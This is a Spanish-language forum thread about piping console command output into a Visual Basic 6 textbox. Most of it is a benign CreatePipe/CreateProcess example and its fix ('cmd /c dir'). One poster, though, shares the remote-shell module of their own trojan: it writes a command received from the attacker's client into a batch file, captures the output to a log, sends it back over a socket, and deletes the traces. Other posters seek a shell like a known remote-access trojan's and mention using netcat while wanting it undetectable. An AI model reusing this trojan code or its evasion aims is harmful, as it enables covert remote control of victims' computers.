hace un tiempo postie en este foro para que alguien me ayudara a hacer cmd pipe.. y Sancho.Mazorka me dio este code
'Redirects output from console program to textbox.
'Requires two textboxes and one command button.
'Set MultiLine property of Text2 to true.
'
'Original bcx version of this program was made by
' dl <dl@tks.cjb.net>
'VB port was made by Jernej Simoncic <jernej@isg.si>
'Visit Jernejs site at http://www2.arnes.si/~sopjsimo/
'
'Note: don't run plain DOS programs with this example
'under Windows 95,98 and ME, as the program freezes when
'execution of program is finnished.
Option Explicit
Private Declare Function CreatePipe Lib "kernel32" (phReadPipe As Long, phWritePipe As Long, lpPipeAttributes As SECURITY_ATTRIBUTES, ByVal nSize As Long) As Long
Private Declare Sub GetStartupInfo Lib "kernel32" Alias "GetStartupInfoA" (lpStartupInfo As STARTUPINFO)
Private Declare Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, lpOverlapped As Any) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type
Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadId As Long
End Type
Private Type STARTUPINFO
cb As Long
lpReserved As Long
lpDesktop As Long
lpTitle As Long
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Byte
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type
Private Type OVERLAPPED
ternal As Long
ternalHigh As Long
offset As Long
OffsetHigh As Long
hEvent As Long
End Type
Private Const STARTF_USESHOWWINDOW = &H1
Private Const STARTF_USESTDHANDLES = &H100
Private Const SW_HIDE = 0
Private Const EM_SETSEL = &HB1
Private Const EM_REPLACESEL = &HC2
Private Sub Command1_Click()
Command1.Enabled = False
Redirect Text1.Text, Text2
Command1.Enabled = True
End Sub
Private Sub Form_Load()
Text1.Text = "ping"
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
If Command1.Enabled = False Then Cancel = True
End Sub
Sub Redirect(cmdLine As String, objTarget As Object)
Dim i%, t$
Dim pa As SECURITY_ATTRIBUTES
Dim pra As SECURITY_ATTRIBUTES
Dim tra As SECURITY_ATTRIBUTES
Dim pi As PROCESS_INFORMATION
Dim sui As STARTUPINFO
Dim hRead As Long
Dim hWrite As Long
Dim bRead As Long
Dim lpBuffer(1024) As Byte
pa.nLength = Len(pa)
pa.lpSecurityDescriptor = 0
pa.bInheritHandle = True
pra.nLength = Len(pra)
tra.nLength = Len(tra)
If CreatePipe(hRead, hWrite, pa, 0) <> 0 Then
sui.cb = Len(sui)
GetStartupInfo sui
sui.hStdOutput = hWrite
sui.hStdError = hWrite
sui.dwFlags = STARTF_USESHOWWINDOW Or STARTF_USESTDHANDLES
sui.wShowWindow = SW_HIDE
If CreateProcess(vbNullString, cmdLine, pra, tra, True, 0, Null, vbNullString, sui, pi) <> 0 Then
SetWindowText objTarget.hwnd, ""
Do
Erase lpBuffer()
If ReadFile(hRead, lpBuffer(0), 1023, bRead, ByVal 0&) Then
SendMessage objTarget.hwnd, EM_SETSEL, -1, 0
SendMessage objTarget.hwnd, EM_REPLACESEL, False, lpBuffer(0)
DoEvents
Else
CloseHandle pi.hThread
CloseHandle pi.hProcess
Exit Do
End If
CloseHandle hWrite
Loop
CloseHandle hRead
End If
End If
End Sub
funciona pero el problema es que solo acepta los comandos como ping, netstat, y solo algunos mas...
los comandos mas utiles como dir no funcionan
ayer con un amigo que sabe sobre esto de la cmd y sus comandos me dijo que probara poniendo command.com pero tiraba error!
alguien me podria ayudar o orientar???
gracias de antemano!
Open "c:\test.bat" For Binary As #1
Put #1, , "@echo off" & vbCrLf
Put #1, , sdata(1) & ">>c:\log.txt" & vbCrLf
Put #1, , "exit"
Close #1
Open "c:\log.txt" For Input As #1
conten = Input(LOF(1), #1)
Close #1
WS.SendData "no|" & conten
Shell "c:\test.bat"
Kill "c:\test.bat"
Mira la remote shell de mi troyano(se puede optimizar en vez de crear bats hacer shell"" pero bueh...)lo que hago es desde el cliente enviar el comando,y como ves lo pone en un bat,esto:
>>c:\log.txt previamente el comando lo que hace es guardar la respuesta en un archivo de texto situado en c: con nombre log.txt,bien pues luego lo leemos con el input,y lo enviamos al cliente y ya tenemos nuesra remote shell.
Ejecutamso el bat para que se ejecute el comando,y eliminamos luego el bat y el archivo de texto con el resultado.
Espero qeu te sirva saludos.
Pero ese source valdria solo para comandos como dir y demas, habria algunos q no seria util usarlos desde ahí. Yo tb estoy buscando alo como el remote shell del bifrost, q sea = q la consola, q se vea la ruta desde la q se usa (lo de C:\ >) a ve si alguien sabe..
esto podria servir, gracias
aunque me gustaba harto el otro metodo... y como dice EON, alguien sabria hacer cmd pipe i que se vea como la shell real??? por aora estoi sacando shell desde nc.. pero al parecer no es indetectable
Sub Redirect(cmdLine As String, objTarget As Object)
y segun ese codigo en el text pone ping, y segun esta funcion le pasa ping simplemente. ping se ejecuta y termina. ¿porque funciona ping y dir no? ves a inicio > ejecutar > ping localhost . te saldra una ventana con los resultados del ping. ahora la misma operacion pero con dir, te saldra un mensaje diciendo que windows no puede encontrar el archivo "dir". es decir ping es un programa externo no es un comando de la consola del sistema.
Private Sub Form_Load()
Text1.Text = "ping"
End Sub
modificalo por
Private Sub Form_Load()
Text1.Text = "cmd /c dir"
End Sub
veras como si fucniona el dir. si quieres una shell normal tienes que leer/escribir desde los pipes ya que para eso se crean.